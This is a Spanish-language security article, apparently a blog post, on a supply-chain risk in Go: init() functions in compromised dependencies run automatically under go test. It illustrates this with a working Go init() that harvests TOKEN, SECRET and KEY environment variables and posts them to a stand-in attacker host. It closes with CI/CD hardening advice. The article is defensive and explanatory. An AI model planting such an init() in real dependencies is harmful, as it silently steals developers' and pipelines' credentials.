Cada vez que estalla un escándalo con paquetes maliciosos en npm o PyPI, la comunidad de Go suele respirar aliviada. Basta recordar el gusano en las librerías keyv y cacheable, que propagaba la infección mediante hooks preinstall. En Go, la cadena de herramientas se diseñó desde el principio pensando en la seguridad: go get solo descarga código fuente y verifica hashes en go.sum, mientras que go build compila los binarios sin ejecutar ningún script intermedio.
Podría parecer que en el ecosistema Go los ataques a la cadena de suministro con ejecución automática de código son imposibles. Pero el investigador de seguridad francés Jules Robineau demostró con claridad que existe un punto ciego al que nosotros mismos abrimos la puerta cada día laboral cuando ejecutamos go test.
Anatomía de la ejecución: cómo salta la trampa
Veamos pieza por pieza qué ocurre al compilar y probar un proyecto.
Cuando escribes código en Go, seguro que has usado o visto la función especial init(). Según la especificación del lenguaje, sirve para preparar un paquete antes de usarlo (inicializar estructuras, comprobar variables). Y la regla de oro del runtime es que las funciones init() de todos los paquetes importados se ejecutan automáticamente y estrictamente antes de que main() tome el control.
En una compilación normal (go build), el código de terceros no se ejecuta. Pero ¿qué pasa con go test?
El comando go test ./... compila un ejecutable especial de pruebas en el que enlaza tus tests junto con absolutamente todas sus dependencias transitivas. Y ahí entra en juego esa regla fundamental: antes de lanzar el primer caso TestXxx, el runtime de Go ejecuta el init() de todas las dependencias directamente dentro del proceso actual del sistema.
Si un atacante logra comprometer aunque sea una librería secundaria perdida en lo hondo del árbol de dependencias, le basta con meter una función como esta:
package analytics
import (
"bytes"
"net/http"
"os"
"strings"
)
// init es invocada automáticamente por el runtime de Go al importar el paquete
func init() {
secrets := make([]string, 0)
for _, env := range os.Environ() {
if strings.Contains(env, "TOKEN") || strings.Contains(env, "SECRET") || strings.Contains(env, "KEY") {
secrets = append(secrets, env)
}
}
if len(secrets) > 0 {
payload := bytes.NewBufferString(strings.Join(secrets, "\n"))
// Exfiltración no bloqueante hacia el servidor del atacante
go http.Post("https://attacker-collect.example.com/drop", "text/plain", payload)
}
}
Ahora mira cómo se ve esto en la terminal:
# 1. Descargar y compilar es totalmente seguro: no se ejecuta código
$ go get example.com/analytics@v1.2.0
$ go build ./...
# 2. Al lanzar los tests se activa init() al instante y expone los secretos al proceso
$ GITHUB_TOKEN="ghp_live_deploy_secret_xyz" go test ./...
[analytics] exfiltrating 1 secret to drop server...
PASS
ok myproject/services 0.042s
Tú ves el PASS en verde, las pruebas han pasado sin problema, y tus tokens ya están en el servidor del atacante.
Por qué es letal en entornos CI/CD
En el portátil de un desarrollador esto ya es un problema serio, pero en un pipeline corporativo de integración continua (CI/CD) se convierte en un desastre:
- Concentración de secretos en los runners. Es muy común pasar a los jobs de build y test variables de entorno con permisos de despliegue a producción: tokens de registros de contenedores, claves de AWS/GCP o tokens de acceso a repositorios. La dependencia maliciosa los lee en el primer milisegundo de vida del proceso.
- La falsa seguridad de
go.sum. El archivogo.sumy las sumas desum.golang.orgsolo garantizan que nadie manipuló el código por el camino. Si el atacante publicó una nueva versión válida con elinit()malicioso dentro, el hash será impecable. - Bots de actualización automática. Imagina que Renovate o Dependabot abre un Pull Request para subir una versión menor y dispara automáticamente el pipeline de tests con acceso a los secretos. En cinco minutos la clave ya se ha filtrado.
Con la velocidad a la que evolucionan la plataforma y sus herramientas —como vimos en el reciente lanzamiento de Go 1.27: métodos genéricos, asignaciones de memoria más rápidas y paquete uuid en la librería estándar—, la seguridad de la cadena de suministro exige higiene estricta.
Nunca pases tokens de despliegue reales ni claves de nube a los pasos donde corren los tests unitarios (go test). Usa federación temporal con OIDC (OpenID Connect), ejecuta las pruebas con -mod=readonly y audita el árbol de llamadas con la herramienta capslock del equipo de Google: detecta usos sospechosos de os.Environ() y paquetes de red dentro de las dependencias antes siquiera de lanzar los tests.
Recuerda: que el compilador sea seguro no elimina la necesidad de aislar los procesos. Confía en tus dependencias, pero comprueba siempre qué secretos puede ver tu runner de pruebas.


